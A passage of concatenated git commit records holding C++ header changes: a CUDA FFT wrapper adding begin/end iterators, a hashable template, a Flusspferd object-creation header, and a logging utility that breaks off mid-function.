Coefficient_wrapper<Float>(Nx, Ny, data_) {\n }\n};\n\n} \/\/ namespace fft2d\n} \/\/ namespace Kolmogorov2D\n<commit_msg>Add begin\/end<commit_after>#pragma once\n\n#include \"..\/traits.hpp\"\n#include \"fft2d.pb.h\"\n#include <thrust\/device_vector.h>\n\nnamespace cujak {\nnamespace fft2d {\n\ninline int calc_stride(int Ny) { return Ny \/ 2 + 1; }\n\ntemplate <typename Container> class wrapper_base {\nprotected:\n const int Nx, Ny, stride, N;\n Container &u;\n wrapper_base(int Nx_, int Ny_, int stride_, int N_, Container &u_)\n : Nx(Nx_), Ny(Ny_), stride(stride_), N(N_), u(u_) {}\n\npublic:\n typedef typename Container::value_type value_type;\n typedef decltype(u.begin()) iterator;\n\n pb::Property property;\n\n value_type *get() const { return u.data().get(); }\n Container &data() const { return u; }\n iterator begin() const { return u.begin(); }\n iterator end() const { return u.end(); }\n\n value_type operator()(int i, int j) const {\n if (i >= 0) {\n return u[stride * i + j];\n } else {\n return u[stride * (Nx + i) + j];\n }\n }\n void set(int i, int j, value_type v) {\n if (i >= 0) {\n u[stride * i + j] = v;\n } else {\n u[stride * (Nx + i) + j] = v;\n }\n }\n\n int size_x() const { return Nx; }\n int size_y() const { return Ny; }\n int size() const { return N; }\n int get_stride() const { return stride; }\n};\n\ntemplate <typename Float>\nclass Field_wrapper : public wrapper_base<rdVector<Float> > {\npublic:\n typedef rdVector<Float> Container;\n Field_wrapper(int Nx, int Ny, Container &u)\n : wrapper_base<Container>(Nx, Ny, Ny, Nx * Ny, u) {}\n virtual ~Field_wrapper() = default;\n};\n\ntemplate <typename Float>\nclass Coefficient_wrapper : public wrapper_base<cdVector<Float> > {\n\npublic:\n typedef cdVector<Float> Container;\n Coefficient_wrapper(int Nx, int Ny, Container &u)\n : wrapper_base<Container>(Nx, Ny, calc_stride(Ny), Nx * calc_stride(Ny),\n u) {}\n virtual ~Coefficient_wrapper() = default;\n};\n\ntemplate <typename Float> class Field : public Field_wrapper<Float> {\n typename Field_wrapper<Float>::Container data_;\n\npublic:\n Field(int Nx, int Ny) : data_(Nx * Ny), Field_wrapper<Float>(Nx, Ny, data_) {}\n};\n\ntemplate <typename Float>\nclass Coefficient : public Coefficient_wrapper<Float> {\n typename Coefficient<Float>::Container data_;\n\npublic:\n Coefficient(int Nx, int Ny)\n : data_(Nx * calc_stride(Ny)), Coefficient_wrapper<Float>(Nx, Ny, data_) {\n }\n};\n\n} \/\/ namespace fft2d\n} \/\/ namespace Kolmogorov2D\n<|endoftext|>"} {"text":"<commit_before>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2015 nabijaczleweli\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\n\/\/ the Software without restriction, including without limitation the rights to\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\n\/\/ subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n#ifndef HASHABLE_HPP\n#define HASHABLE_HPP\n\n\n#include <functional>\n\n\nnamespace cpponfiguration {\n\t\/\/ T must publicly interhit hashable<T>, as in `class foo : public hashable<foo> {};`\n\ttemplate <class T>\n\tclass hashable {\n\t\tfriend std::hash<hashable<T>>;\n\n\tprotected:\n\t\tvirtual size_t hash_code() const = 0;\n\n\t\tinline virtual ~hashable() noexcept = default;\n\t};\n}\n\nnamespace cpponfig = cpponfiguration;\n\n\nnamespace std {\n\ttemplate <class T>\n\tstruct hash<cpponfig::hashable<T>> {\n\t\tinline size_t operator()(const cpponfig::hashable<T> & tohash) const {\n\t\t\treturn tohash.hash_code();\n\t\t}\n\t};\n\n\ttemplate <class T>\n\tstruct hash : std::hash<cpponfig::hashable<T>> {};\n}\n\n\n#endif \/\/ HASHABLE_HPP\n<commit_msg>Revert \"Explicitly specify the namespace\"<commit_after>\/\/ The MIT License (MIT)\n\n\/\/ Copyright (c) 2015 nabijaczleweli\n\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy of\n\/\/ this software and associated documentation files (the \"Software\"), to deal in\n\/\/ the Software without restriction, including without limitation the rights to\n\/\/ use, copy, modify, merge, publish, distribute, sublicense, and\/or sell copies of\n\/\/ the Software, and to permit persons to whom the Software is furnished to do so,\n\/\/ subject to the following conditions:\n\n\/\/ The above copyright notice and this permission notice shall be included in all\n\/\/ copies or substantial portions of the Software.\n\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n\/\/ FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n\/\/ COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n\/\/ IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n\/\/ CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\n\n#ifndef HASHABLE_HPP\n#define HASHABLE_HPP\n\n\n#include <functional>\n\n\nnamespace cpponfiguration {\n\t\/\/ T must publicly interhit hashable<T>, as in `class foo : public hashable<foo> {};`\n\ttemplate <class T>\n\tclass hashable {\n\t\tfriend std::hash<hashable<T>>;\n\n\tprotected:\n\t\tvirtual size_t hash_code() const = 0;\n\n\t\tinline virtual ~hashable() noexcept = default;\n\t};\n}\n\nnamespace cpponfig = cpponfiguration;\n\n\nnamespace std {\n\ttemplate <class T>\n\tstruct hash<cpponfig::hashable<T>> {\n\t\tinline size_t operator()(const cpponfig::hashable<T> & tohash) const {\n\t\t\treturn tohash.hash_code();\n\t\t}\n\t};\n\n\ttemplate <class T>\n\tstruct hash : hash<cpponfig::hashable<T>> {};\n}\n\n\n#endif \/\/ HASHABLE_HPP\n<|endoftext|>"} {"text":"<commit_before>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#ifndef FLUSSPFERD_CREATE_HPP\n#define FLUSSPFERD_CREATE_HPP\n\n#ifndef PREPROC_DEBUG\n#include \"object.hpp\"\n#include \"function.hpp\"\n#include \"native_function.hpp\"\n#include \"local_root_scope.hpp\"\n#include <boost\/type_traits\/is_function.hpp>\n#include <boost\/utility\/enable_if.hpp>\n#include <boost\/mpl\/bool.hpp>\n#include <boost\/range.hpp>\n#include <boost\/parameter\/parameters.hpp>\n#include <boost\/parameter\/keyword.hpp>\n#include <boost\/parameter\/name.hpp>\n#include <boost\/parameter\/binding.hpp>\n#include <boost\/type_traits.hpp>\n#endif\n#include \"detail\/limit.hpp\"\n#include <boost\/preprocessor.hpp>\n#include <boost\/parameter\/config.hpp>\n\nnamespace flusspferd {\n\nclass native_object_base;\nclass function;\nclass native_function_base;\n\n\/**\n * @name Creating functions\n * @addtogroup create_function\n *\/\n\/\/@{\n\n\/**\n * Create a new native function.\n *\n * @p ptr will be <code>delete<\/code>d by Flusspferd.\n *\n * @param ptr The native function object.\n * @return The new function.\n *\/\nfunction create_native_function(native_function_base *ptr);\n\n\/**\n * Create a new native function as method of an object.\n *\n * The new method of object @p o will have the name @c ptr->name().\n *\n * @param o The object to add the method to.\n * @param ptr The native function object.\n * @return The new method.\n *\/\nfunction create_native_function(object const &o, native_function_base *ptr);\n\n#ifndef IN_DOXYGEN\n\n#define FLUSSPFERD_FN_CREATE_NATIVE_FUNCTION(z, n_args, d) \\\n template< \\\n typename T \\\n BOOST_PP_ENUM_TRAILING_PARAMS(n_args, typename T) \\\n > \\\n object old_create_native_functor_function( \\\n object const &o \\\n BOOST_PP_ENUM_TRAILING_BINARY_PARAMS(n_args, T, const & param), \\\n typename boost::enable_if_c<!boost::is_function<T>::value>::type * = 0 \\\n ) { \\\n return create_native_function(o, new T(BOOST_PP_ENUM_PARAMS(n_args, param))); \\\n } \\\n \/* *\/\n\nBOOST_PP_REPEAT(\n BOOST_PP_INC(FLUSSPFERD_PARAM_LIMIT),\n FLUSSPFERD_FN_CREATE_NATIVE_FUNCTION,\n ~\n)\n\n#else\n\n\/**\n * Create a new native function of type @p F as method of an object.\n *\n * @p F must inherit from #native_function_base.\n *\n * The new method of object @p o will have the name @c ptr->name().\n *\n * @param F The functor type.\n * @param o The object to add the method to.\n * @param ... The parameters to pass to the constructor of @p F.\n * @return The new method.\n *\/\ntemplate<typename F>\nobject create_native_functor_function(object const &o, ...);\n\n#endif\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fn The functor to call.\n * @param arity The function arity.\n * @return The new function.\n *\/\ninline function create_native_function(\n object const &o,\n std::string const &name,\n boost::function<void (call_context &)> const &fn,\n unsigned arity = 0)\n{\n return old_create_native_functor_function<native_function<void> >(\n o, fn, arity, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param T The function signature to use.\n * @param o The object to add the method to.\n * @param name The function name.\n * @param fn The functor to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_function(\n object const &o,\n std::string const &name,\n boost::function<T> const &fn)\n{\n return old_create_native_functor_function<native_function<T,false> >(o, fn, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * The first parameter passed will be 'this'.\n *\n * @param T The function signature to use.\n * @param o The object to add the method to.\n * @param name The function name.\n * @param fn The functor to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n boost::function<T> const &fn)\n{\n return old_create_native_functor_function<native_function<T,true> >(o, fn, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fnptr The function to call (also determines the function signature).\n * @return The new method.\n *\/\ntemplate<typename T>\nfunction create_native_function(\n object const &o,\n std::string const &name,\n T *fnptr,\n typename boost::enable_if_c<boost::is_function<T>::value>::type* =0)\n{\n return create_native_function<T>(o, name, boost::function<T>(fnptr));\n}\n\n\/**\n * Create a new native method of an object.\n *\n * The first parameter passed will be 'this'.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fnptr The function to call (also determines the function signature).\n * @return The new method.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n T *fnptr,\n typename boost::enable_if_c<boost::is_function<T>::value>::type* =0)\n{\n return create_native_method<T>(o, name, boost::function<T>(fnptr));\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param memfnptr The member function to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n void (T::*memfnptr)(call_context &),\n unsigned arity = 0)\n{\n return old_create_native_functor_function<native_member_function<void, T> >(\n o, memfnptr, arity, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param memfnptr The member function to call (also determines the function\n * signature).\n * @return The new function.\n *\/\ntemplate<typename R, typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n R T::*memfnptr)\n{\n return old_create_native_functor_function<native_member_function<R, T> >(\n o, memfnptr, name);\n}\n\n\/\/@}\n\nnamespace param {\n BOOST_PARAMETER_NAME(container)\n BOOST_PARAMETER_NAME(name)\n BOOST_PARAMETER_NAME(attributes)\n\n BOOST_PARAMETER_NAME(length)\n BOOST_PARAMETER_NAME(contents)\n BOOST_PARAMETER_NAME(prototype)\n BOOST_PARAMETER_NAME(parent)\n\n BOOST_PARAMETER_NAME(argument_names)\n BOOST_PARAMETER_NAME(source)\n BOOST_PARAMETER_NAME(file)\n BOOST_PARAMETER_NAME(line)\n\n BOOST_PARAMETER_NAME(arguments)\n}\n\nnamespace detail {\n template<typename Class>\n struct new_functor {\n template<typename>\n struct result {\n typedef Class &type;\n };\n\n Class &operator()() {\n return *new Class;\n }\n\n#define FLUSSPFERD_NEW_FUNCTOR_INVOKE(z, n, d) \\\n template< \\\n BOOST_PP_ENUM_PARAMS(n, typename T) \\\n > \\\n Class &operator()( \\\n BOOST_PP_ENUM_BINARY_PARAMS(n, T, &x) \\\n ) \\\n { \\\n return *new Class(BOOST_PP_ENUM_PARAMS(n, x)); \\\n } \\\n \/* *\/\n\n BOOST_PP_REPEAT_FROM_TO(\n 1,\n BOOST_PP_INC(FLUSSPFERD_PARAM_LIMIT),\n FLUSSPFERD_NEW_FUNCTOR_INVOKE,\n ~)\n\n#undef FLUSSPFERD_NEW_FUNCTOR_INVOKE\n };\n\n template<typename Class, typename Cond = void>\n struct create_traits;\n\n typedef param::tag::container container_spec;\n typedef param::tag::name name_spec;\n typedef param::tag::attributes attributes_spec;\n\n template<typename Class, typename ArgPack>\n typename boost::enable_if<\n boost::is_same<\n typename boost::parameter::binding<\n ArgPack,\n param::tag::container,\n void\n >::type,\n void\n >,\n typename create_traits<Class>::result_type\n >::type\n create_helper(ArgPack const &arg) {\n return create_traits<Class>::create(arg);\n }\n\n template<typename Class, typename ArgPack>\n typename boost::disable_if<\n boost::is_same<\n typename boost::parameter::binding<\n ArgPack,\n param::tag::container,\n void\n >::type,\n void\n >,\n typename create_traits<Class>::result_type\n >::type\n create_helper(ArgPack const &arg) {\n typedef create_traits<Class> traits;\n local_root_scope scope;\n\n typename traits::result_type result = traits::create(arg);\n\n object container(arg[param::_container]);\n container.define_property(\n arg[param::_name],\n result,\n arg[param::_attributes | dont_enumerate]);\n\n return result;\n }\n}\n\ntemplate<typename Class>\ntypename detail::create_traits<Class>::result_type\ncreate()\n{\n return detail::create_traits<Class>::create();\n}\n\n#define FLUSSPFERD_CREATE(z, n, d) \\\n template< \\\n typename Class, \\\n BOOST_PP_ENUM_PARAMS(n, typename T) \\\n > \\\n typename detail::create_traits<Class>::result_type \\\n create( \\\n BOOST_PP_ENUM_BINARY_PARAMS(n, T, const &x), \\\n typename detail::create_traits<Class>::parameters::template match<T0>::type kw = typename detail::create_traits<Class>::parameters()) \\\n { \\\n typedef detail::create_traits<Class> traits; \\\n return detail::create_helper<Class>(kw(BOOST_PP_ENUM_PARAMS(n, x))); \\\n } \\\n \/* *\/\n\nBOOST_PP_REPEAT_FROM_TO(\n 1,\n BOOST_PP_INC(BOOST_PARAMETER_MAX_ARITY),\n FLUSSPFERD_CREATE,\n ~)\n\n#undef FLUSSPFERD_CREATE\n\n}\n\n#endif\n<commit_msg>new_create: add flusspferd::param::type<T> for passing types to flusspferd::create()<commit_after>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#ifndef FLUSSPFERD_CREATE_HPP\n#define FLUSSPFERD_CREATE_HPP\n\n#ifndef PREPROC_DEBUG\n#include \"object.hpp\"\n#include \"function.hpp\"\n#include \"native_function.hpp\"\n#include \"local_root_scope.hpp\"\n#include <boost\/type_traits\/is_function.hpp>\n#include <boost\/utility\/enable_if.hpp>\n#include <boost\/mpl\/bool.hpp>\n#include <boost\/range.hpp>\n#include <boost\/parameter\/parameters.hpp>\n#include <boost\/parameter\/keyword.hpp>\n#include <boost\/parameter\/name.hpp>\n#include <boost\/parameter\/binding.hpp>\n#include <boost\/type_traits.hpp>\n#endif\n#include \"detail\/limit.hpp\"\n#include <boost\/preprocessor.hpp>\n#include <boost\/parameter\/config.hpp>\n\nnamespace flusspferd {\n\nclass native_object_base;\nclass function;\nclass native_function_base;\n\n\/**\n * @name Creating functions\n * @addtogroup create_function\n *\/\n\/\/@{\n\n\/**\n * Create a new native function.\n *\n * @p ptr will be <code>delete<\/code>d by Flusspferd.\n *\n * @param ptr The native function object.\n * @return The new function.\n *\/\nfunction create_native_function(native_function_base *ptr);\n\n\/**\n * Create a new native function as method of an object.\n *\n * The new method of object @p o will have the name @c ptr->name().\n *\n * @param o The object to add the method to.\n * @param ptr The native function object.\n * @return The new method.\n *\/\nfunction create_native_function(object const &o, native_function_base *ptr);\n\n#ifndef IN_DOXYGEN\n\n#define FLUSSPFERD_FN_CREATE_NATIVE_FUNCTION(z, n_args, d) \\\n template< \\\n typename T \\\n BOOST_PP_ENUM_TRAILING_PARAMS(n_args, typename T) \\\n > \\\n object old_create_native_functor_function( \\\n object const &o \\\n BOOST_PP_ENUM_TRAILING_BINARY_PARAMS(n_args, T, const & param), \\\n typename boost::enable_if_c<!boost::is_function<T>::value>::type * = 0 \\\n ) { \\\n return create_native_function(o, new T(BOOST_PP_ENUM_PARAMS(n_args, param))); \\\n } \\\n \/* *\/\n\nBOOST_PP_REPEAT(\n BOOST_PP_INC(FLUSSPFERD_PARAM_LIMIT),\n FLUSSPFERD_FN_CREATE_NATIVE_FUNCTION,\n ~\n)\n\n#else\n\n\/**\n * Create a new native function of type @p F as method of an object.\n *\n * @p F must inherit from #native_function_base.\n *\n * The new method of object @p o will have the name @c ptr->name().\n *\n * @param F The functor type.\n * @param o The object to add the method to.\n * @param ... The parameters to pass to the constructor of @p F.\n * @return The new method.\n *\/\ntemplate<typename F>\nobject create_native_functor_function(object const &o, ...);\n\n#endif\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fn The functor to call.\n * @param arity The function arity.\n * @return The new function.\n *\/\ninline function create_native_function(\n object const &o,\n std::string const &name,\n boost::function<void (call_context &)> const &fn,\n unsigned arity = 0)\n{\n return old_create_native_functor_function<native_function<void> >(\n o, fn, arity, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param T The function signature to use.\n * @param o The object to add the method to.\n * @param name The function name.\n * @param fn The functor to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_function(\n object const &o,\n std::string const &name,\n boost::function<T> const &fn)\n{\n return old_create_native_functor_function<native_function<T,false> >(o, fn, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * The first parameter passed will be 'this'.\n *\n * @param T The function signature to use.\n * @param o The object to add the method to.\n * @param name The function name.\n * @param fn The functor to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n boost::function<T> const &fn)\n{\n return old_create_native_functor_function<native_function<T,true> >(o, fn, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fnptr The function to call (also determines the function signature).\n * @return The new method.\n *\/\ntemplate<typename T>\nfunction create_native_function(\n object const &o,\n std::string const &name,\n T *fnptr,\n typename boost::enable_if_c<boost::is_function<T>::value>::type* =0)\n{\n return create_native_function<T>(o, name, boost::function<T>(fnptr));\n}\n\n\/**\n * Create a new native method of an object.\n *\n * The first parameter passed will be 'this'.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param fnptr The function to call (also determines the function signature).\n * @return The new method.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n T *fnptr,\n typename boost::enable_if_c<boost::is_function<T>::value>::type* =0)\n{\n return create_native_method<T>(o, name, boost::function<T>(fnptr));\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param memfnptr The member function to call.\n * @return The new function.\n *\/\ntemplate<typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n void (T::*memfnptr)(call_context &),\n unsigned arity = 0)\n{\n return old_create_native_functor_function<native_member_function<void, T> >(\n o, memfnptr, arity, name);\n}\n\n\/**\n * Create a new native method of an object.\n *\n * @param o The object to add the method to.\n * @param name The method name.\n * @param memfnptr The member function to call (also determines the function\n * signature).\n * @return The new function.\n *\/\ntemplate<typename R, typename T>\nfunction create_native_method(\n object const &o,\n std::string const &name,\n R T::*memfnptr)\n{\n return old_create_native_functor_function<native_member_function<R, T> >(\n o, memfnptr, name);\n}\n\n\/\/@}\n\nnamespace param {\n BOOST_PARAMETER_NAME(container)\n BOOST_PARAMETER_NAME(name)\n BOOST_PARAMETER_NAME(attributes)\n\n BOOST_PARAMETER_NAME(length)\n BOOST_PARAMETER_NAME(contents)\n BOOST_PARAMETER_NAME(prototype)\n BOOST_PARAMETER_NAME(parent)\n\n BOOST_PARAMETER_NAME(argument_names)\n BOOST_PARAMETER_NAME(source)\n BOOST_PARAMETER_NAME(file)\n BOOST_PARAMETER_NAME(line)\n\n BOOST_PARAMETER_NAME(arguments)\n\n \/* For passing types. Like this: _param = param::type<int>() *\/\n template<typename T>\n struct type {};\n}\n\nnamespace detail {\n template<typename Class>\n struct new_functor {\n template<typename>\n struct result {\n typedef Class &type;\n };\n\n Class &operator()() {\n return *new Class;\n }\n\n#define FLUSSPFERD_NEW_FUNCTOR_INVOKE(z, n, d) \\\n template< \\\n BOOST_PP_ENUM_PARAMS(n, typename T) \\\n > \\\n Class &operator()( \\\n BOOST_PP_ENUM_BINARY_PARAMS(n, T, &x) \\\n ) \\\n { \\\n return *new Class(BOOST_PP_ENUM_PARAMS(n, x)); \\\n } \\\n \/* *\/\n\n BOOST_PP_REPEAT_FROM_TO(\n 1,\n BOOST_PP_INC(FLUSSPFERD_PARAM_LIMIT),\n FLUSSPFERD_NEW_FUNCTOR_INVOKE,\n ~)\n\n#undef FLUSSPFERD_NEW_FUNCTOR_INVOKE\n };\n\n template<typename Class, typename Cond = void>\n struct create_traits;\n\n typedef param::tag::container container_spec;\n typedef param::tag::name name_spec;\n typedef param::tag::attributes attributes_spec;\n\n template<typename Class, typename ArgPack>\n typename boost::enable_if<\n boost::is_same<\n typename boost::parameter::binding<\n ArgPack,\n param::tag::container,\n void\n >::type,\n void\n >,\n typename create_traits<Class>::result_type\n >::type\n create_helper(ArgPack const &arg) {\n return create_traits<Class>::create(arg);\n }\n\n template<typename Class, typename ArgPack>\n typename boost::disable_if<\n boost::is_same<\n typename boost::parameter::binding<\n ArgPack,\n param::tag::container,\n void\n >::type,\n void\n >,\n typename create_traits<Class>::result_type\n >::type\n create_helper(ArgPack const &arg) {\n typedef create_traits<Class> traits;\n local_root_scope scope;\n\n typename traits::result_type result = traits::create(arg);\n\n object container(arg[param::_container]);\n container.define_property(\n arg[param::_name],\n result,\n arg[param::_attributes | dont_enumerate]);\n\n return result;\n }\n}\n\ntemplate<typename Class>\ntypename detail::create_traits<Class>::result_type\ncreate()\n{\n return detail::create_traits<Class>::create();\n}\n\n#define FLUSSPFERD_CREATE(z, n, d) \\\n template< \\\n typename Class, \\\n BOOST_PP_ENUM_PARAMS(n, typename T) \\\n > \\\n typename detail::create_traits<Class>::result_type \\\n create( \\\n BOOST_PP_ENUM_BINARY_PARAMS(n, T, const &x), \\\n typename detail::create_traits<Class>::parameters::template match<T0>::type kw = typename detail::create_traits<Class>::parameters()) \\\n { \\\n typedef detail::create_traits<Class> traits; \\\n return detail::create_helper<Class>(kw(BOOST_PP_ENUM_PARAMS(n, x))); \\\n } \\\n \/* *\/\n\nBOOST_PP_REPEAT_FROM_TO(\n 1,\n BOOST_PP_INC(BOOST_PARAMETER_MAX_ARITY),\n FLUSSPFERD_CREATE,\n ~)\n\n#undef FLUSSPFERD_CREATE\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef UTILS_LOG_HPP\n#define UTILS_LOG_HPP\n\n#include <iostream>\n\n\/\/ Older versions of Visual Studio fail compiling this file.\n#ifdef DISABLE_LOGGING\n# define LOG(...)\n# define LOG_WARN(...)\n# define LOG_ERROR(...)\n# define LOG_DEBUG(...)\n# define LOG_DEBUG_WARN(...)\n# define LOG_DEBUG_ERROR(...)\n# define LOG_RAW(...)\n# define LOG_DEBUG_RAW(...)\n# define NLOGDEBUG\n#else\n\n#ifdef __linux__\n# define LOG_WARNING_PREFIX \"\\033[1;33mWARNING: \\033[0m\"\n# define LOG_ERROR_PREFIX \"\\033[1;31mERROR: \\033[0m\"\n\/\/ # define LOG_DEBUG_PREFIX \"\\033[;35mDEBUG: \\033[0m\"\n#else\n# define LOG_WARNING_PREFIX \"WARNING: \"\n# define LOG_ERROR_PREFIX \"ERROR: \"\n\/\/ # define LOG_DEBUG_PREFIX \"DEBUG: \"\n#endif\n\n#define LOG_NORMAL_PREFIX \"\"\n#define LOG_DEBUG_PREFIX \"DEBUG: \"\n\n\/\/ Use like this:\n\/\/ int x = 5;\n\/\/ LOG(\"Some log entry\");\n\/\/ LOG(\"some variable: \", x);\n\/\/ LOG_WARN(\"Something is wrong: \", x, \"!\");\n#define LOG(...) logutils::logfunc_init(__VA_ARGS__)\n#define LOG_WARN(...) logutils::logfunc_init<logutils::Warning>(__VA_ARGS__)\n#define LOG_ERROR(...) logutils::logfunc_init<logutils::Error, std::cerr>(__VA_ARGS__)\n\n\/\/ Same as above but without appending a new line character at the end\n#define LOG_RAW(...) logutils::logfunc_init<logutils::Normal, std::cout, false>(__VA_ARGS__)\n\n\/\/ Same as above but will only be displayed when NLOGDEBUG is NOT defined\n#ifndef NLOGDEBUG\n# define LOG_DEBUG(...) logutils::logfunc_init<logutils::Debug>(__VA_ARGS__)\n# define LOG_DEBUG_WARN(...) logutils::logfunc_init<logutils::DebugWarning>(__VA_ARGS__)\n# define LOG_DEBUG_ERROR(...) logutils::logfunc_init<logutils::DebugError, std::cerr>(__VA_ARGS__)\n# define LOG_DEBUG_RAW(...) logutils::logfunc_init<logutils::Debug, std::cout, false>(__VA_ARGS__)\n#else \/\/ No, no, Mr. Debug no here.\n# define LOG_DEBUG(...)\n# define LOG_DEBUG_WARN(...)\n# define LOG_DEBUG_ERROR(...)\n# define LOG_DEBUG_RAW(...)\n#endif\n\n\/\/ Use like this:\n\/\/ int x = 5;\n\/\/ LOG(LOG_DUMP(x));\n#define LOG_DUMP(var) #var, \": \", (var)\n\n\nnamespace logutils\n{\n enum LogLevel\n {\n Normal,\n Warning,\n Error,\n Debug,\n DebugWarning,\n DebugError\n };\n\n template<std::ostream& stream, bool nl>\n void logfunc_join()\n {\n if (nl)\n stream<<\"\\n\";\n else\n stream.flush();\n }\n\n template<std::ostream& stream, bool nl, class T, class... Args>\n void logfunc_join(const T& arg, const Args&... rest)\n {\n stream<<arg;\n logfunc_join<stream, nl>(rest...);\n }\n\n template<LogLevel level = Normal, std::ostream& stream = std::cout, bool nl = true, class... Args>\n void logfunc_init(const Args&... args)\n {\n switch (level)\n {\n case DebugWarning:\n case Warning:\n stream<<LOG_WARNING_PREFIX;\n break;\n\n case DebugError:\n case Error:\n stream<<LOG_ERROR_PREFIX;\n break;\n\n case Normal:\n default:\n stream<<LOG_NORMAL_PREFIX;\n break;\n }\n if (level >= 3)\n stream<<LOG_DEBUG_PREFIX;\n logfunc_join<stream, nl>(args...);\n 